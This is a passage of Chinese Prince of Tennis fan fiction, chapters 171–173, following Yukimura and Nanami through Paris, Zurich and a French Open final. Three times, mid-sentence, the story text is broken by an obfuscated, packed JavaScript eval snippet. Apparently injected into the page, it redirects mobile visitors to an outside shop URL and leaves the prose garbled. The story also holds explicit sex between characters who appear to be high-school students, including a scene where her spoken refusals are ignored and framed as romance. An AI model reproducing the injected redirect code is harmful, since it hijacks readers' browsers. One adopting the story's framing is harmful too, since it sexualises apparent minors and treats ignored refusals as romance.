“嗯!呜......”痛意碾过她所剩无几的意识,她咬住下唇,相扣的手收紧到关节发白,泪水再次毫不留情地从眼角渗出滚落,滴在雪白的床单上晕开。 “很痛吗?”他停在半途。 “嗯。”她于痛楚侵蚀间轻点了点头。 “别怕,看着我。” 利剑入鞘,他心甘情愿为她所缚。夜色如洪汹涌而至,势如破竹,猛烈地撞击着,仿佛要将一切障碍摧毁殆尽。 她被他的气息彻底麻醉,知觉于暗夜中摇摇欲坠,一次次被推向濒死的边缘,又被拉回,感官在极致中拉扯着,早已不知生死明灭。 忽地,一缕曙光像是破茧而出的蝶翅,坚定地穿透了黑暗的包围,升腾海上,万千星云霎时间被点燃,而后,万籁俱寂。 他将告别黄昏,挣脱黑暗的泥淖,向她的黎明里坠落。 171.第 171 章 七海于法国巴黎的黎明时分醒来,令她意外的是,身旁的人早就醒了,此刻正侧卧着,盯着她看。 “精市。”她一开口就愣住了,她的声音哑得吓人。 她这才回想起昨晚的一切,她实在,喊了太久了...... “七海,怎么了?”幸村精市伸出手将身侧的人拢入怀中,轻拍着背试图安抚她汹涌而来的情绪。 “精市,你好过分,昨晚,你,你根本不听我的话。” 她完全不记得昨晚到底进行了多久,反复地失神,几乎可以称得上向死而生,那感觉说不上是失重感还是什么,只觉灵魂都要被湮灭。 她记得她有在勉强维持清醒的时候说过几句“够了”,“不要了”这样的话,他根本没理会。 “我以前怎么没发现你这么坏。”七海红着脸,无力地捶着少年的胸口,她再也不敢小瞧薄肌的爆发力了啊啊啊。 幸村精市轻笑一声,“七海,抱歉。” “你还笑,你根本不觉得抱歉,什么神之子,好狡猾,好无赖......” 她泄愤似的轻捶个不停,幸村任由她锤了一会儿,这才再次开口。 “七海,你再继续,我又要忍不住了呐。” 这句话简直是灵丹妙药,七海紧急停住了手上的动作。仰起头,她看到他眼含笑意地凝视着她,蓝紫色瞳孔中倒映出她身无寸缕的模样,她再低头看自己......满身的痕迹。 她这才想起来了一件事,妈妈教给她的手段,昨晚她一项都没能用上。不如说根本用不着她主动,身旁的人已经把主动权抢占完了。可恶,她有点想扳回一局。 “精市,我浑身酸痛,你忍不住我也不能再和你来了。” “我是开玩笑的。”幸村精市俯下身轻啄了一下她的唇,安抚道:“今天就在酒店里好好休息,协会我们明天再去。” “嗯。”七海貌似乖巧地点了点头。得到他不动她的允诺,她的手却开始不安分地在他身上游走,画圈,揉捏,直到她的手被他擒住。 “七海,你要做什么?” “我就摸摸。”她不服气地嗫嚅着,面上潜藏的小心思被他尽数收入眼底。 “七海,今天我不动你,不代表以后我没法动你呢。”幸村精市柔声道,话语中却隐隐透出一股危险的气息。 这下,她浑身一僵,总算灰溜溜地把手收回被子里,不敢再随意撩拨。 “上次来法国,你都去了哪里?”他自然地伸出手为她梳理着鬓边的碎发,似是随口一问。 “上次......”她被上次两个字拉进了回忆中。 上次,她是和那个人一起来的,除了法网赛场和协会大楼,他们并没能去法国的知名景点看。 “上次除了罗兰·加洛斯和协会大楼,哪里都没去成。” “是吗,那就好。”他勾起唇角。 “瑞士呢,又去了哪里?” “瑞士也是,只去了苏黎世的协会大楼和阿尔卑斯山。”七海再次老实回答,仰头眨了眨眼,他问这个干嘛? “七海,我很嫉妒呐。”他微微一笑,“法国和苏黎世,都是我很想去的地方,你却和那两个人先去了。” “以后,这些地方的回忆只由我们两个一起创造,好吗?” 那些国家留下的,都是她和其他人的足迹。他迫切地想在那里创造他们的回忆,将一些不该留下的东西覆盖、深藏,让她除了他再想不起其他无关紧要的人和事。 “好。”她勉力坐起身,轻抱住身边的少年,他蓝紫色的发丝垂落在她的肩头,微微发痒。 ---------------------------------- 第二日,他们终于返回法国职网协会。加缪热情地欢迎了他们,七海也顺势履行了自己的顾问工作,加缪却提起了一件事。 “法网的决赛快要开始了,七海,精市,你们不去看看吗?我这里有两张余票。” “这次的决赛两边对战的选手是谁啊?”七海好奇道。 “是你们的熟人哦,国光对阿玛迪斯。” 原来是这两个人。有他在的话,他应该会在意吧,那就不去看—— “听起来会是一场不错的比赛呢。”幸村精市温声回道。“七海,我们去看决赛如何?” “精市,你不介意吗?”她顿了顿,还是问出了心里的疑问。 “手冢,未来总归会在赛场上和他碰上。这次去看看比赛也不错。”下次再碰到他,他绝不会再输。 “那好,我们去看比赛。” 翌日的比赛结果大大出乎人们的意料。 年仅十七岁的手冢国光居然击败了最近几年在国际网坛崭露头角,战绩斐然的瑞士队职业选手阿玛迪斯,夺得了法网大满贯,成功破了最年轻大满贯选手的记录。 幸海两人坐在观众席,目视着红土赛场中心的熟悉身影领取大满贯奖杯,七海回忆起两年前那场U17世界杯的比赛,下意识抓紧了身侧人的手,没有多言。 “七海,不用担心我。” “手冢,他比我们任何人都更早坚定地选择了职业选手这条道路,他是带着无法回头的觉悟走上的这条路。” 他是想说,国光的觉悟比其他人都深吗?可是她却有不同的看法。 “精市。”她认真地注视着身侧的人,“你也早就有了这样的觉悟不是吗?” “网球,对你来说,是即使只有一丝可能,即使危及生命,也要努力争取的东西。” “你对网球的热爱与执着,不比任何人少。精市,你也知道的吧,罗兰·加洛斯说过的那句话——胜利属于最坚韧顽强的人。” “幸村精市,你会迎来属于你的时代。” 幸村精市微怔地望着听着身旁的人的一句句坚定的话,忽地轻笑出声。 “七海,你是预言家,我相信你。”无论何时。 ...... 比赛后的这几天,他们沉浸式地游览了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720209|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍法国巴黎。卢浮宫,凡尔赛宫,埃菲尔铁塔,橘园美术馆,奥赛博物馆...... 奥赛博物馆的镇馆画作之一《红磨坊的舞会》之前。 “七海,你觉得这幅画怎么样?” “很多人,很美的光影。唔......怎么说呢,是让人看了会觉得开心很舒服的画。”七海努力将自己的想法表达出来。 幸村精市听罢她的感受,浅笑着点了点头。“嗯,这就是我为什么喜欢雷诺阿的画作。他的画真实又柔和,只展现美好的那一面。” “他曾说,‘世界上已经有太多丑陋了,为什么我还要去增加呢?所以我要去创造美。’” 这时的七海盯着《红磨坊的舞会》,心思却飘到了其他地方。她总觉得这幅画很熟悉,苦思冥想半天,终于想起来,她曾见过另一幅画,构图和处理和这幅画很相仿。 那幅画,在他家的画室里。 “精市,我记得你家画室里有一幅立海大全员的画,给我的感觉和这幅画好像,你有参考这幅画吗?” 她记得,画的背景是立海大网球部的围网边,切原赤也摔了个屁股蹲,丸井文太坐在他身上爽朗地笑着,身后是盯着这一幕同样笑得十分开心、姿势各异的其他少年们。 “七海,原来你还记得。”少年的神情愈发柔和。 “立海大的大家对我来说,就是美好的那一面。七海,你也是。” 那双蓝紫色眸子里流淌着的感情,一瞬间让她忘了外界的一切纷扰,只沉浸在他温柔的注视之中。 结束一天的游览,他们回到莱茵河畔,随意地找了个地方倚着围栏吹风。 沐浴在夏夜的微风中,脚下的莱茵河在河畔的灯光映照下泛着粼粼金光,深蓝的天幕下,金色的河水缓缓流淌,和在奥赛博物馆看到的《星夜》美得毫无二致。 “七海,你喜欢法国吗?”幸村精市侧过头,为她拢起被夜风吹乱的发丝。 七海望着眼前的一切,未多思考就给出了答案: “我还蛮喜欢的,主要是感觉大家都很放松吧。在这里,紧绷的弦一下子就松弛下来了。” “那太好了呐。” 她侧过头,他们四目相对:“精市,你呢,你又是为什么喜欢法国?” “我的答案和你一样。” “七海,有句话我一直没有说,过去我不敢用那么深重的词,怕你害怕,可我想现在我应该有资格说。” 他突然将她拉到自己面前,目光沉沉地望着她。 “七海,我爱你。” 幸村俯下身轻吻了一下她的唇,松开。 七海嘴角漾起一抹揶揄的笑,“神之子什么时候这么矜持了?” 随即,她轻揽住他的脖子,踮起脚附到他的耳畔回道:“精市,我也一样。” 他们在莱茵河畔紧紧相拥,忘情地接吻,夜风将两人的发丝纠缠在一起,再难分开。 巴黎的晚风吹拂过每一对相爱的人,也包括他们。 172.第 172 章 结束在法国的工作和游览,幸海两人直接坐火车抵达瑞士。 阿玛迪斯刚吃了败仗,七海正好就这次法网的决赛细致地指导了一番他的不足之处,以及针对手冢国光这样的选手应该怎么破发的技巧。 当晚他们和瑞士队的少年们吃了顿饭,接下来又花了一周的时间见了几个瑞士职业网球协会培养的教练预备役,好好指导了一番。 中间的时间,他们抽空去了一趟苏黎世美术馆。 “七海,谢谢你愿意陪我来我想去的地方。”幸村精市轻轻收紧了握着她的手。 他们面前是雷诺阿的另一幅世界名作——《小艾琳》。 七海浅笑着摇了摇头,示意他不必如此客气。“精市,你都陪我来欧洲了,我也很好奇你最喜欢的画的真迹呐。” 这幅少女画像,他在家中仿绘了许多幅。 幸村精市耐心介绍着:“雷诺阿在绘画生涯后期画了许多女性,这幅画画的是一个银行家的女儿,被誉为是油画史上最美的少女。” “哇,确实很美,颜色也用得很好看。” “七海,我觉得没有你美呢。”幸村不动声色地夸奖着身侧的少女。 七海瞬间红了脸,咳咳,这时候稍微转换一下话题好了。 “对了精市,多亏你的那番话,我现在也想清了我想做什么。” 她已经想通了,没有谁规定世界里只有网球是一件不好的事。 不如说她的目标从一开始便十分坚定——以教练的身份尽可能地帮助托举这群和她一样热爱网球的少年们,带领他们制霸网球界的同时自己实现财富自由。 “所以我已经决定了。精市,我没法陪你去法国留学。” “我要去英国读书,去UCL读物理治疗专业。”通过行动成为指引他们的烛火减少伤亡是一方面,她还是想系统地学习理疗知识。 幸村精市眼含笑意地揉了揉她的头:“七海,我很高兴你拒绝了我的邀请。” “只是,想到以后你要帮别人做理疗,我还是会有些吃醋呐。”无论是职业网球教练还是理疗师,每天都在和网球选手打交道,肢体接触是无法避免的。 七海脑中的雷达突然哔哔作响,接下来幸村精市的话果然验证了她警觉之下的预感。 “七海,你补偿我吧。” ...... 第二日清晨。 “精市,你什么时候准备的这些东西?”七海目瞪口呆地看着幸村精市从自己的行李箱里掏出画册,画笔颜料等一应绘画工具,还有一条水色的轻纱长裙。 “七海,我想画你。”他的语气温柔却不容置疑。 “可以是可以啦。”只是为她画幅画而已,也算不得什么大事。“那我去换上衣服哦。” 七海拿上那条水色长裙正准备走去卫生间,却被他的话拦下。 “不愿意在我面前换吗?” “也不是不愿意,就是有点不好意思......” “七海,我们都已经毫无保留那么多次了呐。”幸村微笑地盯着停在半路的少女。 七海汗颜。确实,自从那晚神之子开了荤,除了第二天,后来每天晚上他都拉着她身体力行,更糟糕的是,妈妈偷偷塞到行李箱里的小道具有天也被他发现了。 而她总是没有出息地被他温柔的声音和美色蛊惑,在床上变着花样被他引导着尝试各种......现在换个衣服还害羞似乎确实有点装。 这么想着,她深吸一口气,干脆地将身上的衣裙褪下,三下五除二地换上了他带来的裙子。 “七海,你现在坐到窗边。”七海依言照做。 落地窗外,晨曦照进来,她侧坐在地毯上,阳光从她身后洒落,将她披散于后背的发丝点缀上金色的光泽。水色的长裙铺散在地上,层层叠叠的纱像朵盛开的鸢尾花。 时光凝固于此刻,只剩下阳光洒落、她静静坐着的画面。 他专注地凝视着她恬静而动人的侧颜,提笔,细致描绘。 “精市,要画多久呀。”七海努力保持侧坐的姿势,生怕动弹会影响他的作画。 “要稍微久一点呐。”幸村精市完成眼下这一笔,抬眸望见窗边她僵硬的模样不觉失笑。“七海,你可以随意地动,不用那么僵硬。” 七海松了口气,手脚的动作总算放松了不少。 不知过了多久,她终于听到耳侧传来的一声“七海,我画好了。”,正打算站起来,却发现自己的腿麻了,七海欲哭无泪。 “精市,我的腿麻了,你快过来扶一下我。” 幸村精市闻言拿着手上的画作走到她面前,翻过来向她展示,七海刹那间屏住了呼吸—— 她这才意识到,《小艾琳》穿着的也是一身水色的裙子,而他笔下的她,画中的她,肖似小艾琳的造型,只是人变成了她。 “七海,以后我只画你,好吗?”他将画作放到一边,弯下腰,将窗边的少女打横抱起。 “你想画谁都行啦......” “好。”他勾起唇角,穿过地上的画具,将怀中的人轻放到床上,“那现在我想画你,可以吗?” 七海呆愣愣地仰头,“可是不是刚画完吗?” “我换个工具。” 他的唇是他的笔,她的肌肤是他的画布。 他轻轻重重地落笔,以惊心动魄的手法在画布上留下缠绵的吻痕,以全身的感官去感知每一处迷人的细节,细致地描摹她动人沉醉的姿态。 画家的手徘徊游移,沿曲线曼折向下,一汪销魂入骨的春潮绘于其间。 一室曦光柔和了交织的喘息与呻吟,柔和了纠缠的两道轮廓。 欲望、缠绵、情深。 ---------------------------- 一年后。 法国,巴黎,罗兰·加洛斯球场。 炽热的阳光如熔金般铺洒在这一方曾经历无数次战火纷飞的红土球场上,将这方竞技之地焕发出灼人的热度。赛场边,无数长枪大炮对准了这片红土,人人皆知,今天这场比赛必将精彩纷呈。 手冢国光VS幸村精市。 一位于一年前刚夺得法网大满贯,成功打破了最年轻男单大满贯选手记录,是万众瞩目的网坛新星。 另一位,虽然是第一次参加满贯赛事,但在这之前也已多次夺得巡回赛冠军以及两次大师赛冠军,神之子的名号早在世界打响。 两边都有了一定的粉丝基数,许多人都认为,如果幸村精市选择提早参加大满贯赛事,那么最年轻男单大满贯选手的记录到底由谁打破还未可知。 “七海,真没想到这两个人的比赛会在法网再次上演呢。”加缪坐在七海身边,望着赛场上正在热身的两人由衷地感叹着。 七海随意地点了点头。“嗯,但是也不意外,作为职业选手他们早晚会再次相遇,只不过没想到这么快罢了。” “说起来,精市的那些伙伴这次怎么没来看比赛?” “六月有东京都大赛,时间正好撞上了。而且立海大已经两连胜了,今年高三是最后一年了,果然还是不能掉以轻心嘛。” 中学时的三连胜被青学中断,高中是最后一次机会了。 尽管从去年的比赛情况来看,立海大几乎可以称得上是横扫一片,孤独求败。但他们也早已不是三年前年少轻狂的心态,无论是什么样的对手,他们都打起十万分精神,严阵以待。 收敛了锋芒的立海大,比锋芒毕露的立海大更加可怕。 加缪意外道:“那岂不是法网比赛结束,你们就要立刻回日本了?” “嗯。” “啊,七海,精市过来找你了。”循着加缪的提醒,七海抬头,注意到刚结束热身活动的幸村精市正往她的位置走来,她站起身。 “精市,怎么了?” “七海,我想如果有神的吻作为鼓励,我就会赢了呢。”幸村精市微笑着,嘴里说着些在七海看来十分无赖的话。 只不过,这场比赛对他来说意义重大,她愿意满足他的需求。虽然昨晚他就说什么如果七海你愿意试一试XX,他明天比赛就更有信心之类的,拉着她...... 神之子,狡猾至极。 七海在心里无奈地叹了口气,走到看台边,强行无视了身后观众的讨论、惊呼或是起哄,踮起脚轻贴上他的唇。 正预备这样就罢,幸村精市隔着围栏揽住她的腰和后脑勺,俯下身用力加深了这个吻。 “嗯,现在赢的概率是百分之百了呐。”少年松开唇,将外套取下披到她的身上,浅笑着走回赛场。 转过身的一瞬,目光变得凌厉至极。 与此同时,赛场另一边—— “这场比赛国光肯定会赢的吧!毕竟两年前就赢过一次对面那个日本人了。”塞弗里德握紧拳头坚定道。 QP说出来的话却令塞弗里德大惊失色。“国光,他现在的状态并不稳定。” “不会吧?!就因为七海?!” 话一脱口,塞弗里德很快沉默下来,如果是七海,确实是会的。 他回忆起了一件往事。 两年前,她和那个日本人一同出现在法网的观众席,她并没有在赛中休息时来找德国队,他们却注意到了她和他。 那天的后半场比赛,国光的攻势突变猛烈,打得瑞士队的阿玛迪斯措手不及。 那天他打破了最年轻男单大满贯选手的记录,然而,在新闻发布会上,在为他准备的庆功宴上,国光也表现得格外寡言少语。 雷特鲁坐在一边摸着下巴,望见赛场另一边那两道拥吻的身影,再收回视线看着手冢国光沉默着走到席位边喝水,笑容中带上了几分无奈。 “国光这样的性格没想到也难过情关啊。不过,未尝不是好事,这是磨炼他心性的好机会。” 手冢国光VS幸村精市,法网男单总决赛即将开始! 两人在网前见礼。 “手冢,没想到只过了两年就有了与你再战一次的机会。” “啊,幸村,好久不见。” “看起来,你还没放弃呢。” “......” “她最终选择了我呐。”他的笑意更甚,“胜利,也只会属于我。” “那就试试看!” 手冢国光的语气异常冷傲,幸村精市意外地扫了球网对面的人一眼,两年的职业赛事锤炼,似乎让他的锋芒更显了。 很遗憾——他的目光凛然,这场比赛,他绝不会输! 因为,属于他的黎明在他身后。 两道燃烧着战意的视线在空气中猛地相撞,大战一触即发! 接下来,比赛的激烈程度还是远超观众的想象。在未来很长的一段时间,这场比赛被世人戏称为“2000年以来法网最焦灼的一场比赛”。也是这场比赛后,神之子幸村精市迎来了属于他的网坛盛世。 第一盘,他们就复刻了两年前在U17世界杯那场比赛的后半场盛况——幸村精市剥夺手冢国光五感,而手冢国光靠进化后的矜持之光夺回五感,比分疯狂拉扯。 第一盘,居然就进入了抢七局! “天呐,怎么第一盘就会打成这样!他们不考虑保存体力吗?”看台席后方,许多观众高声惊呼着。 身旁的人斜睨了他一眼,侃侃而谈:“这你就不知道了吧,一看你就不怎么关心网坛八卦。精市的女朋友,七海,以前追过国光,后来国光好像是回头了,可惜迟咯。” 另一个人也插嘴:“我也看到了,这次这两个人打决赛,两年前U17世界杯的帖子还有比赛录像不是又被翻出来了。你们是不知道,有人在网上逐帧分析那场比赛,精市,国光,七海这三个人的表情呢。”该说不说八卦真是全民热衷的一件事。 “喂,你们讨论声音小一点,正主就坐在你们正下方啊!” 此刻的七海望着赛场上发生的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720210|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,彻底陷入了怔松,早已无暇顾及身后看台席的讨论声。 她能看出来,引导这场持久战的人,居然是他。 他的领域技能帮助他大幅减少了跑动带来的体能消耗,所以持久战于他有利。现在的他也学会了在比赛中使用策略,而非一味追求正面胜利...... 她本该为他的改变高兴,只是,这场比赛她支持的人并不是他。 第一盘,手冢国光以7-6的盘终比拿下。 第二盘,幸村精市同样以7-6的盘终比拿下。 地面上的红土随着他们的步伐在赛场上飞扬,卷起片片红色尘雾,迷蒙了所有人的视线。 前两盘居然都打到了抢七局,持续了三小时之久! 第二盘结束,盘间休息。 七海坐在幸村精市身后的观众席,看着他接过毛巾坐到选首席休息。志愿者为他打起阳伞,他的面颊汗水密布,额头绿色的吸汗带和身上的浅黄色polo衫早已被汗水浸湿。 “精市......”她盯着他的背影小声呢喃着,心被揪紧了。除非医疗暂停等特殊情况,比赛一旦开始,教练就不得再与选手私下联络。 下一瞬,他却转过头来看向她,微微勾起唇角,一切尽在不言之中。 第三盘,手冢国光攻势居然仍未见缓,反而愈发凌厉,最终以6-3拿下一盘。两胜一负,手冢只需再赢一盘便能再次拿下一个法网大满贯! 然而,他的对手不会给他这个机会。第四盘,幸村精市以6-2的比分斩断了手冢的决胜盘。 历时近四小时,终于进入赛末决胜盘! 烈日灼烧着场上的两人,经过四小时的酣战,两人的体力早已被消耗得七七八八,看台上的观众们脑海中浮现出的念头大差不差——最后一盘比拼的更多是意志力罢了,体力透支,这盘比赛恐怕会很快结束。 只是,接下来发生的一切再次令所有人大跌眼镜。 谁也没想到,最后一盘所耗费的时间,居然超过了前四盘的时间之和! 这场比赛所耗费的时长,已破了网坛史记录! 罗兰·加洛斯上空,天幕渐渐染上了动人心弦的红橙色调,仿佛被点燃了一般,与红土交相辉映。 赛场上,本该早已力竭的两人仍在挥动球拍不断厮杀着。比赛再不结束,等天黑了就要持续到第二天了! “别打了......快结束吧......”七海坐在场边不忍道,眼眶中打转着的泪水顺着脸颊一滴滴滚落。 再这样高强度地打下去,恐怕他们的腿部关节就要受到不可逆的损伤了,这不是她想看到的结果啊。 又一球结束,他的余光瞟到了场边满面泪水担忧不已的她,幸村精市再次握紧了手中的球拍。他知道她为何而哭,他知道她在担心什么,他不会让她的担心成真。 他不是他。 再次回到接球点站定俯身,少年锐利如剑的目光紧锁对场。 正当所有人都认为这场持久战还要再持续一会儿,甚至开始怀疑是否要持续到明天时—— 小球落地,全场突然一片寂静无声。 几秒后,随着裁判播报出比分,众人才反应过来,比赛结束了! “比赛结束,胜者Seiichi Yukimura,盘比6-7,7-6,3-6,6-4,7-6!” 2006法网男单大满贯得主——幸村精市!!! 趁着工作人员将法网的红色颁奖台抬到赛场上的功夫,两边选手本该回道各自的席位休息等待颁奖,幸村精市却径直走到赛场边,牵起她的手,一路快步走到休息室便将门关上。 七海还没反应过来,人已经被拉进了房间,按在门上。 “七海,我赢了。”他赢了他。 “你知道我有多期待这一天吗?”他近乎贪婪地凝视着她,目光灼热到仿佛要将她融化,眼中的占有欲浓郁到几乎要化为实质。 “精市,我知道,真的恭喜你。”她的眸中亮起点点泪光。 她怎么可能不知道呢。 她怎么可能不知道两年前的U17世界杯那场比赛输掉之后,那个黄昏的休息室里,他眼中那些晦暗难辨的情绪代表着什么。 不曾气馁,却不代表不曾意难平。 “七海,我想要奖励呢。” 七海仰头望着身前浑身是汗,散发着热气的少年,满口应是。“好,你想要什么?只要我有的都给你。” “我只想要你。”从始至终。 他俯下身,利落地撬开她的唇齿,肆意地扫荡,仿佛要将她吞吃入腹般将她的心神意识完全占有。 不知吻了多久,直到门外传来提醒,他缓缓松开唇。 “我们回酒店继续。” 七海从被吻得七荤八素的状态勉强回过神来,喘着气,心中无声地抗诉着——刚打完这么久的比赛,这个人为什么还能吻这么久啊!神之子的肺是铁做的吗? “七海,站不住了吗,那我抱你去领奖。”见她不言语,他微笑着。 “别别,我能走我能走......”七海赶忙阻止了他的动作,两人在工作人员努力掩饰但根本藏不住的暧昧视线下走回赛场。 站在领奖台上,冠军接受采访。 “精市,这是你第一次参加满贯赛事,就取得了大满贯奖杯,请问你有什么感想吗?” “我想感谢我的教练、理疗师兼女朋友七海,还有我的团队。”少年微笑着。 “那么对于你的对手,国光,你有什么话想说的吗?” “很高兴能和国光这样优秀的选手比赛,相信这场比赛我们都拼尽全力,未曾留下遗憾。” 主持人点点头:“是的,这确实是一场非常精彩的比赛。好了,那么请我们的两位选手接过奖杯。” 幸村精市接过法网的银色大满贯奖杯,高举过头顶。 浪漫之都的这片红土之上,属于神之子的时代,正式拉开序幕! 173.第 173 章 搭乘飞机回到日本,落地时已是深夜。 出于时间的考虑他们并没有让长辈来接机,而是选择了自行叫计程车返回江之岛。 车窗外,镰仓寂静的夜景快速倒略,七海将车窗拉下,轻眯着眼,感受着熟悉的海风拂过面颊,嘴角不自觉挂上了微笑。 “七海,我打算用奖金买个房子。” 七海被这过分突兀的话题给惊到,转过头看向坐在她身边正认真地注视着自己的少年,一时半会儿不知道该说什么。 “我们买个房子,搬出来住。”幸村精市耐心补充着。 “......”她好像意识到了他为什么这么急着想买房。现在他们都只能住在各自的父母家,有些事便不是那么方便了。 幸村精市观察到她逐渐泛红的面颊,笑而不语。 “可是,这是你第一笔大满贯奖金,用来买房岂不是一下子就花完了。而且我们大学都要去欧洲读书,现在买房使用率也好低,感觉好浪费哦。”七海将一些不正经的思绪抛到一边,托着腮认真思考起来。 “离高中毕业还有半年呐,七海,你让我这半年都忍着吗?以后在欧洲也是异国恋,晚上我只能看着你的画——”他凑到她耳边,嘴里说着些令人想入非非极其不正经的话。 “精市,别说了!”七海的脸瞬间红得像刚煮熟的虾,她赶忙慌乱地伸手捂住了他的嘴,车上还有别人啊! “我的爸爸妈妈经常出差不在家,你要不来我家......” “今晚他们也不在吗?” “嗯,他们去南非......精市,你今天不用回家吗?”她后知后觉。 “我没和家人说过具体的返程时间。” “那可以吧。”七海小声道。 ...... “七海,我不想谈异国恋呢。我和你一起去英国,我去英国皇家美术学院读书,我们在伦敦租个公寓,你觉得这样好吗?” 幸村精市侧卧在床上,轻撩起身侧少女的长发,像只吃饱喝足的猫,面上挂着一抹餍足的浅笑。 七海还未从感官达到极限的濒死时刻中缓和过来,仿佛一条搁浅已久的鱼在床垫上瘫软成一片,耳畔嗡嗡作响。 “是高兴得说不出话来吗?那我就放心了。这件事,就这么敲定了吧。” 待她彻底清醒,意识到他说了什么,脑海中首先浮现的居然是某天柳生南和她聊天时说的一句话—— “二阶堂,你居然敢和精市在一起。难道你不觉得他很可怕吗?你感觉不到他那股危险的气息吗?” 再强调一次,神之子,确实很可怕。 ----------------------- 两个月后。 Arena之森公园主赛场,高中男子网球全国大赛决胜赛最后一场单打一即将开始。 饶是这次决胜赛的结果似乎已是板上钉钉,但由于那个已经取得过一次大满贯的神之子幸村精市居然依然会出席决胜赛单打一,赛场上自然是人头攒动、座无虚席。 昨日,高中女子网球全国大赛的比赛结果也已出炉,青学高等部女子网球部在木下葵的带领下扭转乾坤,以三胜二负的成绩史无前例地取得了全国大赛优胜。 即使没有她的带领,她们也在这条路上各自前行,做到了后来居上。七海站在看台席边当场潸然泪下,无比欣慰。 当晚,青学女网部的少女们硬拉着她一起去河村寿司店搓了一顿,回忆起过去三年没有她在的时光,虽然遗憾,却也有了不同的体验与成长。七海又是一通感动爆哭,眼睛肿得和青蛙似的,把来接她回家的幸村精市吓了一跳。 而今天—— “呐,精市,我想起来一件事想问你。”七海站在教练席边,回忆起了三年前的那一幕。 “好,你问。” “三年前的决胜赛,因为我的介入,你打了一场必输之战,你怪我吗......” 幸村精市无奈地轻托起她的脸,在唇上印下一个浅吻,“七海,我怎么可能会怪你。” 七海垂眸不语了几秒,“可是,如果我不帮他,只帮你,立海大就能三连胜了。” 他们为了三连胜付出了多少努力,她从来看在眼里。她作为一个有能力改变战局的人,做出选择的同时也背负上了相应的责任。 “七海。”少年的语气严厉了几分,“不要责怪自己,你没有做错任何事。” “立海大,从来不惧失败。” “‘没有人能够永远胜利,但永远有人保持着求胜的决心。’”他看着她,蓝紫色的瞳孔中沁满温柔,“七海,或许你不知道,三年前那天在海边你说的那番话,对大家的影响有多大。” “勝ち続ける限り,我が王者立海大に死角はない。” 只要永远追逐胜利,王者立海大便是没有死角的。 “况且,今天我们一定会赢。”视线移向赛场上的对手,神之子眼中的锐利意气再无掩饰。 七海用力地点了点头,“嗯,今天我们当然会赢!” 幸村精市脱下土黄外套,罩在身前的少女身上。 “七海,等我赢。” “今天比赛结束,大家一起去吃烤肉庆祝吧,怎么样?”她转头望向站在身后的围栏边的一排立海大少年们建议道。 也是在一段时间的相处后,她才发现,立海大除了幸村精市和她一样是“鱼派”,柳生比吕士是清淡派,其他人居然都是肉派,对烤肉十分热衷。 眼前的这群人,不过是一群同样热爱着网球的普通少年罢了,从来不是什么自诩清高的反派。欢乐的烤肉大会,他们也值得享受。 “好啊!我知道一家新开的烤肉店味道很不错!”胡狼桑原作为烤肉资深爱好者第一个响应。 “听Jack的建议吧,他很专业哦。”丸井文太马上笑着捧场道。 “烤肉赛高!真田副部长,就去吃烤肉吧!” “嗯,就去吃烤肉吧。”真田弦一郎压了压帽檐,眼底的笑意一闪而过。 “常胜,立海大!Let’s go let’s go 立海大!” “常胜,立海大!Let’s go let’s go 立海大!” 赛场上空,送给立海大的应援声愈演愈烈,振聋发聩。 而单打一的比赛也毫无悬念地仅花了10分钟便解决了战斗,最后一球落地时,幸村精市的脸上甚至没有一滴汗。 这是选择走职业道路的人,背负着觉悟与责任的人应有的表现。 广播中传出的结果响彻Arena之森公园的每个角落: “现在宣布决胜赛结果,立海大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724754|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附属对四天宝寺的比赛结果为,3胜2败,高等部男子网球全国大赛的最终优胜者是——立海大附属!” 王者立海大三连霸,他们做到了!!! “精市,大家,恭喜你们!” 立海大的少年们早就从观众席狂奔下来,围簇着自家部长,他们笑着闹着哭着,跨越整整六年的三连霸梦想,于此刻实现。 赛后,新·肉之苑烤肉店。 除了立海大,缺席了手冢和越前龙马的青学,四天宝寺全员,缺席了迹部的冰帝,不动峰等其他几个学校的少年们欢聚一堂。 “大家都成年了,今天喝点酒应该不过分吧?”七海贼兮兮地笑着。 菊丸英二从另一边探了个头过来:“二阶堂,你要喝酒吗?” “我肯定是要喝的,你们喝吗?喝的话我让老板拿几瓶清酒过来,不过嘛,我要喝烧酒。”清酒度数太低喝起来多没意思。 “那我们也要!” “我们也要!” 真田弦一郎:“王者立海大在酒量上也毫无死角!” 宍户亮不甘示弱:“胜者是冰帝!” 木手永四郎冷笑一声:“论喝酒,我比嘉不会输给任何一个学校!” 远山金太郎:“白石,我也要喝!” “小金,小孩子不能乱喝酒!”白石藏之介不赞同道。 